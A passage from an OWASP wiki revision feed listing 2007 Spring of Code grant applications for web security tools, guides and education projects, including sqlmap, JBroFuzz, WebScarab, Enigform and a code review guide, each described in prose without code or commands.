*Redesign the GUI to make it more efficient and user friendly&lt;br /&gt;
*Create a smooth setup program which would install both client and server components as effortlessly as possible&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Report Generator==&lt;br /&gt;
There is no doubt that OWASP Report Generator is a very handy tool for penetration testers and other security researchers, but it would be even better if some enhancements were made:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*More robustness&lt;br /&gt;
*Ease of use (more efficient and intuitive GUI)&lt;br /&gt;
*Automated reporting for some typical (or not so typical) scenarios&lt;br /&gt;
*More documentation&lt;br /&gt;
*More samples&lt;br /&gt;
&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Redesign the GUI to make it more efficient and user friendly&lt;br /&gt;
*Clean up the code&lt;br /&gt;
*Add functionality to import, execute and create reports for OWASP Tiger automated tests&lt;br /&gt;
*Create some samples&lt;br /&gt;
*Create a smooth setup program&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Tiger==&lt;br /&gt;
OWASP Tiger project is at its very beginning. Some new features are needed in order for it to become more useful. Here’s a short list:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*Easier editing of test projects&lt;br /&gt;
*Support for testing sites that require authentication&lt;br /&gt;
*Support for testing sites that require use of cookies&lt;br /&gt;
*An easy way of specifying vulnerability data, ideally an automated one&lt;br /&gt;
*More flexible reporting&lt;br /&gt;
*More project templates&lt;br /&gt;
*More documentation&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Add support for cookies&lt;br /&gt;
*Add support for standard authentication schemes&lt;br /&gt;
*Add support for importing vulnerability data from a test definition (or a vulnerability library)&lt;br /&gt;
*Make use of OWASP Report Generator for more advanced reports&lt;br /&gt;
*Create a setup program that would install both client and project templates and also allow for adding new templates after the initial installation&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Heiko - Web Application Security put into practice==&lt;br /&gt;
I'm trying to make the OWASP Top Ten and Guide project known in the programming community, but I understand that clear examples in the specific programming language and best practices with explanation educate the best. I'm at the chair for secure software at my university and I want to contribute practical examples, because I believe not to teach secure programming is a great oversight in today's education. Not only the programmers in large companies have to be aware of security impacts, but also their future employees and their freelance programmers. I'm with a large organization of freelance programmers, which I want to make aware of security flaws.&lt;br /&gt;
&lt;br /&gt;
The Ruby on Rails Security project [http://www.rorsecurity.info/] started this year and is the only security initiative for Ruby on Rails. Ruby is the fastest growing level A programming language, according to the Tiobe programming community index [http://www.tiobe.com/tpci.htm], partly because of its advertised simplicity. This is dangerous, as programmers could be enticed to do cargo cult programming [http://en.wikipedia.org/wiki/Cargo_cult_programming] without knowing the security impacts. I found several security holes in popular modules, and even the Rails framework itself generates potentially insecure code. Nevertheless, Rails provides good means against many of the OWASP Top Ten security flaws, but I believe these means have to be popularized much more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Objectives and Deliverables===&lt;br /&gt;
* Create a security guide to the most popular web server software, Apache&lt;br /&gt;
** Installation&lt;br /&gt;
** secure configuration, emphasis on Rails, but not limited to it&lt;br /&gt;
** file system privileges for Rails and Apache&lt;br /&gt;
** anti profiling techniques for Apache&lt;br /&gt;
** Modules and Mod_security configuration&lt;br /&gt;
&lt;br /&gt;
* Create a security guide to the popular database software, MySQL, as practical contribution to the OWASP Top 10 Insecure storage section&lt;br /&gt;
** Installation&lt;br /&gt;
** secure configuration, emphasis on Rails, but not limited to it&lt;br /&gt;
** file system privileges for Rails and MySQL&lt;br /&gt;
** MySQL access restriction techniques&lt;br /&gt;
** encryption methods&lt;br /&gt;
&lt;br /&gt;
* Ruby on Rails security guide and code examples, with at least the following topics:&lt;br /&gt;
** Anti profiling techniques&lt;br /&gt;
** Rails routes security&lt;br /&gt;
** error handling and presentation, as in OWASP Top 10 Improper Error Handling&lt;br /&gt;
** OWASP Top 10: XSS in Rails&lt;br /&gt;
** OWASP Top 10: SQL injection in Rails&lt;br /&gt;
** OWASP Top 10: Parameter injection in Rails&lt;br /&gt;
** OWASP Top 10: Session handling in Rails&lt;br /&gt;
** OWASP Top 10: Access control in Rails&lt;br /&gt;
** handling of files&lt;br /&gt;
** integrity&lt;br /&gt;
** encryption and SSL&lt;br /&gt;
** logging flaws&lt;br /&gt;
** Ajax security&lt;br /&gt;
&lt;br /&gt;
* Code &amp;amp; other&lt;br /&gt;
** means to check the security of MySQL&lt;br /&gt;
** input validation guide, and implement it in Ruby&lt;br /&gt;
** update the poorly documented guide at http://manuals.rubyonrails.com/read/chapter/40 which is the only official guide to security&lt;br /&gt;
** usage guide for OWASP tools, also in connection with Rails&lt;br /&gt;
** make the results known in the several communities I'm in&lt;br /&gt;
** if applicable: submit code to Rails for security holes found&lt;br /&gt;
&lt;br /&gt;
===Why I should be sponsored for the project===&lt;br /&gt;
I have been programming professionally for 10 years and created several software products, including Internet applications, and I always focused on security. I am currently graduating university, my thesis is about web application security. Recently, I started the Ruby on Rails security project, which is the only security project for Rails. I have always delivered my work on time, and I believe I have the knowledge to deliver good quality.&lt;br /&gt;
&lt;br /&gt;
===Long-term vision for the project===&lt;br /&gt;
Make it available to the community and accept security notices and best practices from other users to constantly improve it.&lt;br /&gt;
&lt;br /&gt;
===Benefits to the OWASP===&lt;br /&gt;
* practical guides on how to put security into practice: the most popular web server software Apache and the popular database software MySQL&lt;br /&gt;
* if applicable: additional examples and chapters for the OWASP Guide&lt;br /&gt;
* the first and only fully-fledged security guide to a programming language and framework which is used by many large companies&lt;br /&gt;
* security awareness of future employees and freelancers&lt;br /&gt;
* more exposure of the OWASP&lt;br /&gt;
&lt;br /&gt;
==Denis – Python Tainted Mode==&lt;br /&gt;
I am graduate student of Moscow State University, department of Computational Mathematics and Cybernetics.&lt;br /&gt;
My graduate work is dedicated to web-application security. The goal of my graduate work is to combine dynamic code analysis with penetration testing to provide more precise analysis.&lt;br /&gt;
This work will help to find security vulnerabilities in web-applications.&lt;br /&gt;
I successfully presented parts of my work at university conferences.&lt;br /&gt;
&lt;br /&gt;
===My Project===&lt;br /&gt;
The goal of my project is to create analog of Perl’s Taint Mode for Python programming language.&lt;br /&gt;
Taint mode is successfully used in Perl, PHP, and Ruby to find input validation vulnerabilities in web-applications (see for ex. PHPRevent[http://dependability.cs.virginia.edu/info/PHPrevent]).&lt;br /&gt;
Unfortunately there is no implementation of Taint Mode for Python language despite of wide spread of Python-based web-applications. Taint Mode for Python is highly claimed.&lt;br /&gt;
I plan to modify Python interpreter and add Taint label propagation. Then I’ll add three configuration lists:&lt;br /&gt;
* List of sources. All data emanating from sources must be marked tainted.&lt;br /&gt;
* List of critical functions, that shouldn’t receive tainted data.&lt;br /&gt;
* List of sanitizing functions that untaints data.&lt;br /&gt;
These three lists are dependent on technology that is used between web-server and web-applications in web server. In my project I plan to build such lists for mod_python and then broaden for other technologies. With switched on taint mode web-application will receive exceptions when critical function receives tainted data.&lt;br /&gt;
&lt;br /&gt;
===Why should I be selected===&lt;br /&gt;
I have strong mathematical &amp;amp; computer science background. I’m familiar with research publications on dynamic analysis and with implementation of taint mode in Perl and PHP (PHPrevent Project).&lt;br /&gt;
This project is part of my work at university. It will be made under mentoring of my scientific advisor.&lt;br /&gt;
This work is already practically done that’s why I’m sure I will finish my project in time.&lt;br /&gt;
I have strong skills in developing projects with Python, Java, C, C++, and Assembler. Then I plan to support, develop and enhance my project and increase its quality with penetration testing.&lt;br /&gt;
&lt;br /&gt;
If you have any questions or would like further information, feel free to contact me.&lt;br /&gt;
&lt;br /&gt;
Yours faithfully,&lt;br /&gt;
Denis&lt;br /&gt;
&lt;br /&gt;
== Darren Edmonds - WebScarab NG Security Test Automation ==&lt;br /&gt;
&lt;br /&gt;
=== Background ===&lt;br /&gt;
I am a 28 year old software developer from the UK with a background in java based web development and application security testing.  I have strong mathematical skills, a degree in software engineering, a SCJP qualification and 8 years of commercial development experience.  I have created many web based and standalone applications delivering on time and adhering to common software practices.&lt;br /&gt;
I'm an avid supporter of open source software and try to use it whenever possible in a commercial environment.  I've made contributions to the Geotools mapping project, written a securing tomcat article for OWASP and developed a full modification for the first person shooter Quake 3.&lt;br /&gt;
&lt;br /&gt;
=== Project Details ===&lt;br /&gt;
Having used numerous penetration testing applications I believe there is a need for an open source application which supports some, or all, of the features of the more expensive commercial products.  I propose to make WebScarab generate, record, and playback security test cases so that regression testing is possible.  If time permits I would also like to include some extra automated tests that are not always feasible during manual testing; searching for backup files (~, Copy of X), checking non-authorised access to authorised areas, common and brute force name directory searching, etc.  Perhaps include the ability to read the test database of other scanning tools such as nikto.&lt;br /&gt;
I have already made contact with Rogan Dawes, original WebScarab NG author, to discuss some initial ideas.  I believe it is important that Rogan is consulted during the initial planning phase to make sure the project keeps to a set of consistent guidelines.&lt;br /&gt;
&lt;br /&gt;
=== Milestones ===&lt;br /&gt;
* Research regression testing features in other applications&lt;br /&gt;
* Create a functional specification&lt;br /&gt;
* Build testing framework (possible inclusion of scripting language for user defined tests)&lt;br /&gt;
* Testing&lt;br /&gt;
&lt;br /&gt;
=== Why I Should be Sponsored ===&lt;br /&gt;
I believe I am an ideal candidate to develop the proposed additions to WebScarab NG, not just because of my qualifications and experience, but because I plan to use WebScarab NG in my work to help perform the initial testing of web applications.  As well as my own time my current employer will allocate me a set amount of time to ensure the project achieves its milestones.&lt;br /&gt;
The end result will make WebScarab NG a much more powerful testing tool and will be a great asset to the OWASP community.  With continued development and input from the community I see no reason why WebScarab NG cannot rival commercial testing application features, usability, and business benefit.  Increasing WebScarab's features will result in increased community awareness bringing in extra developers, ensuring continual development and so the cycle starts again.&lt;br /&gt;
&lt;br /&gt;
== Bernardo - sqlmap ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary'''&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic blind SQL injection tool, developed in python, capable to perform an active database fingerprint, to enumerate entire remote database and much more. The aim of this project is to implement a fully functional database mapper tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables'''&lt;br /&gt;
** Add support for Oracle database management system;&lt;br /&gt;
** Add support to extract database users password hash;&lt;br /&gt;
** Extend inband SQL injection functionality to all other possible queries;&lt;br /&gt;
** Add Microsoft SQL Server database fingerprint;&lt;br /&gt;
** Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting;&lt;br /&gt;
** Add support for SQL injection on HTTP ''Cookie'' and ''User-Agent'' headers;&lt;br /&gt;
** Add support for query ETA (Estimated Time of Arrival) real time calculation;&lt;br /&gt;
** Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions;&lt;br /&gt;
** Improve logging functionality.&lt;br /&gt;
&lt;br /&gt;
* '''Long-term vision for the project'''&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible.&lt;br /&gt;
In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project'''&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_Applications&amp;diff=17566</id>
		<title>OWASP Spring Of Code 2007 Applications</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_Applications&amp;diff=17566"/>
				<updated>2007-03-30T13:01:21Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page contains project Applications to the [[OWASP_Spring_Of_Code_2007]]&lt;br /&gt;
&lt;br /&gt;
'''If you want to apply for a SpoC 007 sponsorship you HAVE TO USE THIS PAGE for your application'''&lt;br /&gt;
&lt;br /&gt;
See [[OWASP_Spring_Of_Code_2007#How_To_Participate]] for what do to one you completed your Application&lt;br /&gt;
&lt;br /&gt;
---------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proposed template:''' {for longer proposals, in addition to these details you can create a PDF}:&lt;br /&gt;
&lt;br /&gt;
== {Your first name or Alias} - {Project name} ==&lt;br /&gt;
Please remember that projects will be selected and funded based on how well they meet the [[OWASP_Spring_Of_Code_2007_:_Selection|Selection Criteria]].&lt;br /&gt;
&lt;br /&gt;
You can propose your project in any form you wish, but the best proposals will be well thought out, clear and concise, and reflective of your passion for the topic.  We strongly suggest that you include the following information in your proposal.&lt;br /&gt;
&lt;br /&gt;
* Your educational and professional background&lt;br /&gt;
&lt;br /&gt;
* Application security experience and accomplishments&lt;br /&gt;
&lt;br /&gt;
* Participation and leadership in open communities&lt;br /&gt;
&lt;br /&gt;
* The opportunity, challenges, issues or need your proposal addresses&lt;br /&gt;
&lt;br /&gt;
* Objectives or ways in which you will meet the goal(s)&lt;br /&gt;
&lt;br /&gt;
* Specific activities and who will carry out these activities&lt;br /&gt;
&lt;br /&gt;
* Specific deliverables and a rough project schedule so we can track progress&lt;br /&gt;
&lt;br /&gt;
* Long-term vision for the project&lt;br /&gt;
&lt;br /&gt;
* Any other reasons why you and your project should be selected&lt;br /&gt;
&lt;br /&gt;
== Buanzo - Enigform: Firefox Addon for OpenPGP signing of HTTP requests ==&lt;br /&gt;
&lt;br /&gt;
I am a 25 year old Independent security consultant from Buenos Aires, Argentina, that has contributed to the world of&lt;br /&gt;
information systems security since 1994, when BBSes and Linux still lived together.&lt;br /&gt;
&lt;br /&gt;
A quick search for buanzo on google [http://www.google.com/search?hl=en&amp;amp;q=buanzo&amp;amp;btnG=Google+Search] will provide all necessary details about my professional and community background. For comprobable experience, you could also check my Rent a Coder profile.[http://www.rentacoder.com/RentACoder/SoftwareCoders/showBioInfo.asp?lngAuthorId=735204].&lt;br /&gt;
&lt;br /&gt;
In my free time I like playing with my Punk-Pop band [http://www.purevolume.com/futurabandapunkpop], Futurabanda. [http://www.futurabanda.com.ar], and maintaining my Restaurants, Wines and Recipes site. [http://www.vivamoslavida.com.ar]. I have to admit that my first priorities are my beloved son [http://www.fotolog.com/buanzo] and my wonderful wife [http://www.fotolog.com/buanzo].&lt;br /&gt;
&lt;br /&gt;
=== Accomplishments ===&lt;br /&gt;
&lt;br /&gt;
I've contributed scripts, fixes and translations to the Nmap project. I've also acted as Expert Contributor for SANS TOP-20 2004, 2005 and 2006. I've developed &lt;br /&gt;
tools that can be found in Freshmeat, like mprl (a getty enhancement to allow remote logins from the login: prompt of the console). I've also written&lt;br /&gt;
the Unix chapter of the OISSG's Information Systems Security Assessment Framework, v0.1 [http://www.oissg.org/content/view/71/71/]. I'm currently writing&lt;br /&gt;
an Internet Draft to be proposed for RFC regarding Enigform.&lt;br /&gt;
&lt;br /&gt;
=== Community ===&lt;br /&gt;
&lt;br /&gt;
I run the official 2600 meetings site for Argentina [http://www.2600.com/meetings/pages.html], I've been proposed, but I refused, for President of the Argentinian Free Software group called SOLAR [www.solar.org.ar]. I'm an active member of the FLOSS community since 1996, having written articles in magazines http://www.net-security.org/dl/articles/Detecting_and_Understanding_rootkits.txt, made TV, radio&lt;br /&gt;
and newspaper appearances [http://codigoabierto.bitacoras.com/archivos/2005/04/01/buanzo-hacks] and led different security research groups of Spain, Mexico and Argentina. Currently I contribute time thorugh my sites, forums and blogs,&lt;br /&gt;
answering questions in mailing lists and helping coordinate some local LUGs. I do also manager the Linux Counter for Argentina [http://counter.li.org/reports/place.php?place=AR].&lt;br /&gt;
&lt;br /&gt;
=== My Project ===&lt;br /&gt;
&lt;br /&gt;
Enigform [http://enigform.mozdev.org] is a Firefox extension that enhances HTTP with OpenPGP functionality. It digitally signs outgoing HTTP requests so that a web server can authenticate the identity and data of the incoming request. It is a Web Security tool because it can, if correctly implemented as any OpenPGP based technology, render man in the middle attacks useless. I think OpenPGP already speaks for itself regarding eMail. Imagine the same benefits for http and web applications. I think Enigform can fit into the OWASP Validation Project [http://www.owasp.org/index.php/Category:OWASP_Validation_Project].&lt;br /&gt;
&lt;br /&gt;
Enigform is the reference implementation of the Internet Draft I'm working on, in discussion with members of the IETF's OpenPGP Working Group.&lt;br /&gt;
&lt;br /&gt;
Some simple PHP code is enough to make a web application Enigform-aware [http://enigformtest.buanzo.com.ar]. The Smutty PHP MVC Framework already supports Enigform [http://smutty.pu-gh.com/demo/enigform].&lt;br /&gt;
&lt;br /&gt;
=== Long Term ===&lt;br /&gt;
&lt;br /&gt;
Have the Draft be proposed as a Standards Track RFC document, have Enigform support directly in Apache and IIS, and port Enigform to other browsers&lt;br /&gt;
and/or programming languages, and also provide OpenPGP De/Encryption support.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Why should I be selected ===&lt;br /&gt;
&lt;br /&gt;
I have the experience, security awareness and means to make this project THE web security project of the decade. I am a respected member of the&lt;br /&gt;
international security community, and I firmly believe Enigform is my greatest idea so far.&lt;br /&gt;
&lt;br /&gt;
== Eoin Keary - Code review Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I am proposing that I complete the OWASP Code review guide during this period.&lt;br /&gt;
The code review guide was started by me in 2005 and has much information on reviewing code for common vulnerabilities. It is frequently accessed (looking at the stats on the OWASP site) and therefore is useful to practitioners. &lt;br /&gt;
&lt;br /&gt;
I believe the code review guide is an integral part of the OWASP BOK (Body of Knowledge). Ensuring secure development is key to secure applications and code review is of paramount importance in this domain.&lt;br /&gt;
&lt;br /&gt;
There are many sections still to be added and more to be readjusted and rewritten to reflect the current state of the security world.&lt;br /&gt;
Much needs to be written on Web 2.0 technologies and distributed B2B technologies such as Webservices.&lt;br /&gt;
 &lt;br /&gt;
The Code review process and procedure needs also to be covered. A guide to establishing a mature code review process also needs to be done.&lt;br /&gt;
Code review methodologies also need to be discussed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
&lt;br /&gt;
Update of the code review guide:&lt;br /&gt;
* Add additional areas relating to the code review process such as:&lt;br /&gt;
** Benefits and pitfalls&lt;br /&gt;
** Methodology&lt;br /&gt;
** The code review process&lt;br /&gt;
*** Transactional analysis&lt;br /&gt;
*** Managing the code review process&lt;br /&gt;
*** Assigning risk to findings&lt;br /&gt;
&lt;br /&gt;
** Technical guides&lt;br /&gt;
*** Language specific best practice &lt;br /&gt;
*** Java &lt;br /&gt;
*** .NET &lt;br /&gt;
*** PHP &lt;br /&gt;
*** MySQL &lt;br /&gt;
*** Stored Procs &lt;br /&gt;
*** C/C++ &lt;br /&gt;
&lt;br /&gt;
** Code review by vulnerability:&lt;br /&gt;
*** Reviewing Code for Buffer Overruns and Overflows &lt;br /&gt;
*** Reviewing Code for OS Injection&lt;br /&gt;
*** Reviewing Code for SQL Injection&lt;br /&gt;
*** Reviewing Code for Data Validation&lt;br /&gt;
*** Reviewing code for XSS issues&lt;br /&gt;
*** Reviewing Code for Error Handling&lt;br /&gt;
*** Reviewing Code for Logging Issues&lt;br /&gt;
*** Reviewing The Secure Code Environment&lt;br /&gt;
*** Reviewing code for Authorization Issues&lt;br /&gt;
*** Reviewing code for Authentication Issues&lt;br /&gt;
*** Reviewing code for Session Integrity&lt;br /&gt;
*** Reviewing code for Cross Site Request Forgery&lt;br /&gt;
*** Reviewing code for Cryptography implementation issues&lt;br /&gt;
*** Reviewing code Dangerous HTTP Methods (Deployment)&lt;br /&gt;
*** Race Conditions &lt;br /&gt;
&lt;br /&gt;
The areas of code are structured giving a brief explanation, the anti-pattern (vulnerable pattern to look for) and a suggested fix.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
&lt;br /&gt;
I used to head up the code review team as part of the application security group in fidelity investments and have 5+ years of the secure code review process. &lt;br /&gt;
I also was the lead of the Testing guide until V2 was published via the Autumn of Code. &lt;br /&gt;
&lt;br /&gt;
I have always  delivered any work I have volunteered for on time. &lt;br /&gt;
 &lt;br /&gt;
I have been involved in OWASP projects for 2/3 years now and have always been an active contributor.&lt;br /&gt;
&lt;br /&gt;
== Paolo Perego - Owasp Orizon Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
Owasp Orizon [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project] Project born in 2006 as answer to the lack of common engine and library usable by opensource code review related tools.&lt;br /&gt;
&lt;br /&gt;
I'm proposing that, during the Spring of Code 2007 period, I'll complete static analisys API and java source code enforment objects.&lt;br /&gt;
&lt;br /&gt;
Sometimes a complete code review approach is not suitable for most customers who wants to harden their code which is being approaching release stage. For such a reason, I started writing Java objects that embeds most of the security checks against common web vulnerabilities (XSS, SQL injection, Session handling, ...) so that source code can be hardened with a small effort in terms of code rewriting.&lt;br /&gt;
&lt;br /&gt;
I do believe that a common set of API and a common safe coding best practices library is one of the most important goals to bring application security to the developers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
Completing the static code review API section&lt;br /&gt;
* improving programming language to XML translator&lt;br /&gt;
* improving security best practices code review scan library&lt;br /&gt;
* improving secure coding fashion best practices library&lt;br /&gt;
* writing the pattern matching scan using the aformentioned libraries&lt;br /&gt;
Writing the java source code enforment objects&lt;br /&gt;
* writing an object to handle form data values to avoid XSS&lt;br /&gt;
* writing an object to handle form data values to avoid SQL Injection&lt;br /&gt;
* writing an object to handle HttpRequest and HttpSession objects&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
Owasp Orizon is the first Owasp project I'm involved in. I'm also contributor of Owasp Italian chapter managed by Matteo Meucci and I'm talking at various speeches about application security and safe coding best practices.&lt;br /&gt;
&lt;br /&gt;
I'm a security consultant working in ethical hacking and we're approaching code review and safe topics right now.&lt;br /&gt;
I'm a developer too so I understand also the &amp;quot;dark side&amp;quot; of the problem developing code with security in mind.&lt;br /&gt;
&lt;br /&gt;
I work using the &amp;quot;release early release often&amp;quot; paradigm so to be concrete and let other people having something usable to work with.&lt;br /&gt;
&lt;br /&gt;
== Sebastien Deleersnyder - OWASP Education Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
This Education project aims to provide in building blocks of web application security information. These modules can be combined together in education tracks targeting different audiences. &lt;br /&gt;
&lt;br /&gt;
Web Application Security Education and Awareness is needed throughout the entire organization, each area and level of organizations have specific needs and requirements regarding education. A manager needs other information than a security professional or developer. Novices to the profession require other training than people with several years of experience. &lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
Currently the project goals are to create Educational Tracks: &lt;br /&gt;
* Complete the [[OWASP Education Presentation|consolidation page of OWASP presentations]] performed in the past&lt;br /&gt;
* A &amp;quot;Web Application Security Primer&amp;quot; Track for beginners (4 hours) &lt;br /&gt;
* A &amp;quot;What developers should know on Web Application Security&amp;quot; Track for developers (4 hours) &lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''': &lt;br /&gt;
I started the successful Belgian Chapter 3 years ago and have actively contributed to OWASP since then. I also co-organized the European conference last year in Belgium.&lt;br /&gt;
&lt;br /&gt;
This is the first separate project that I started, originating from a local demand to set up educational tracks for people that are new to Web Application Security. There are literally hundreds of presentations and an enormous amount of information on the OWASP web site. The goal of this project is to restructure pieces of that information in reusable modules that can be combined in educational tracks. It is my believe that awareness is an important cornerstone of building secure web applications, and this project will actively support that.&lt;br /&gt;
&lt;br /&gt;
If we are granted Spoc 007 participation, I will be sharing the budget with all active participants. This will be an extra motivation for project participation. I will reinvest my part in the project to set up a web conferencing / web casting solution to be used to disseminate the project results and make them available for later use.&lt;br /&gt;
&lt;br /&gt;
* '''More details''': &lt;br /&gt;
The detailed [[OWASP Education Project Roadmap|road map]] can be found here.&lt;br /&gt;
The SpoC 007 goal is to finish Sub Goals 1, 2, 3 and 4. If time permits we can start with sub goal 5.&lt;br /&gt;
&lt;br /&gt;
== Subere - OWASP JBroFuzz Project ==&lt;br /&gt;
&lt;br /&gt;
==== Overview ==== &lt;br /&gt;
&lt;br /&gt;
JBroFuzz is a stateless network protocol fuzzer that emerged from the needs of penetration testing. The purpose of this application is to provide a single, portable application that offers stable cross-platform network protocol fuzzing capabilities. At the same time, JBroFuzz attempts to keep the User Interface (UI) as intuitive as possible.&lt;br /&gt;
&lt;br /&gt;
==== Fuzzing ==== &lt;br /&gt;
&lt;br /&gt;
As seen by the emphasis given on the subject of fuzzing in the 2007 Testing Guide (v2), network protocol fuzzing serves as a fundamental cornerstone of application security testing. For this, many different categories and types of fuzzing have been defined.&lt;br /&gt;
&lt;br /&gt;
==== Objectives ==== &lt;br /&gt;
&lt;br /&gt;
JBroFuzz needs to expand and grow in order to cover network fuzzing in a more complete manner. Its modular implementation allows for the addtion of new functionality by means of independent tabs. The key tabs proposed to be added during the spring of code 2007 are (details in next section):&lt;br /&gt;
&lt;br /&gt;
* '''Open Source Tab'''&lt;br /&gt;
* '''NTLM Brute Force over HTTP/S Tab'''&lt;br /&gt;
* '''Pure HTTP/S Fuzzing using HTTPClient'''&lt;br /&gt;
* '''Blind SQL Injection Fuzzing Tab'''&lt;br /&gt;
&lt;br /&gt;
At the same time, the following existing tabs need to be updated and made more robust (details in next section):&lt;br /&gt;
&lt;br /&gt;
* '''TCP Fuzzing tab allowing graph outputs'''&lt;br /&gt;
* '''TCP Sniffing tab update thread Agent Queue'''&lt;br /&gt;
* '''Update Generators file format'''&lt;br /&gt;
* '''Include SOAP and XML fuzzing'''&lt;br /&gt;
&lt;br /&gt;
This expansion process relates to stabilising code that is presently included in JBroFuzz, thus allowing it to run for extensive periods of time (24h+) as well as adding more functionality in terms of the three new tabs.&lt;br /&gt;
&lt;br /&gt;
==== Deliverables ==== &lt;br /&gt;
&lt;br /&gt;
Based on the above, the new code elements that will be added are as follows:&lt;br /&gt;
&lt;br /&gt;
* '''Open Source Tab:''' ''Provide the ability to enumerate e-mails from newsgroups without breaching google automated search rules''&lt;br /&gt;
* '''NTLM Brute Force over HTTP/S Tab:''' ''Provide the ability to enumerate NTLM as well as brute over HTTP/S NTLM.''&lt;br /&gt;
* '''Pure HTTP/S Fuzzing:''' ''Implement a fuzzing tab utilising HTTPClient from Jakarta that will also allow for multi-threading''&lt;br /&gt;
* '''Blind SQL Fuzzing Tab''' ''Implement a tab that extracts information from a blind SQL injection point identified on web server over HTTP/HTTPS.''&lt;br /&gt;
&lt;br /&gt;
For updating existing code elements that require a partial rewrite, the following areas of focus are presented in detail: &lt;br /&gt;
&lt;br /&gt;
* '''TCP Fuzzing tab allowing graph outputs:''' ''Provide the ability to graph fuzzing results during a particular session run. This will give the ability to integrate and pickup potential fuzzing patterns.''&lt;br /&gt;
* '''TCP Sniffing tab update thread Agent Queue:''' ''Update the code of the sniffing panel in order to handle threaded agents in a more memory efficient way.''&lt;br /&gt;
* '''Update Generators file format:''' ''Update the generators file format to allow for the parsing and creation of recursive generators.''&lt;br /&gt;
* '''Include SOAP and XML fuzzing:''' ''Include an up to date list of SOAP and XML fuzzing templates.''&lt;br /&gt;
&lt;br /&gt;
Overall, the above two lists of changes should provide sufficient complexity and output for the spring of code 2007, forming a challenging implementation project.&lt;br /&gt;
&lt;br /&gt;
==== Background ==== &lt;br /&gt;
&lt;br /&gt;
In its short life, the OWASP JBroFuzz Project has attracted the interest of the online security community with a total of appr. 5000 downloads in the last months. &lt;br /&gt;
&lt;br /&gt;
Coming from a strong java background (5+ years) I decided to implement and release JBroFuzz in order to initially simplify penetrations testing processes that relate to web application and network protocol fuzzing.&lt;br /&gt;
&lt;br /&gt;
I see the spring of code 2007 as a unique opportunity to industrialise network protocol fuzzing (and in particular HTTP/S fuzzing) within a single application, residing within OWASP.&lt;br /&gt;
&lt;br /&gt;
==== Why should JBroFuzz be sponsored? ==== &lt;br /&gt;
&lt;br /&gt;
Centralising fuzzing resources into one application that has the ability to handle network protocol fuzzing over HTTP and HTTPS in a simple and intuitive manner forms an area of focus that should not be dismissed in building secure software applications.&lt;br /&gt;
&lt;br /&gt;
Keep the code platform independent adds a huge advantage. &lt;br /&gt;
&lt;br /&gt;
Receving an OWASP grant from the spring of code 2007 will trigger a share in the budget with all active participants depending on their level of involvement. This will be a direct function of the number of tabs and/or user functionality that they have assisted in implementing.&lt;br /&gt;
&lt;br /&gt;
== Joshua Perrymon - OWASP LiveCD Project ==&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I am proposing that I complete the second version of the OWASP LiveCD during this period.&lt;br /&gt;
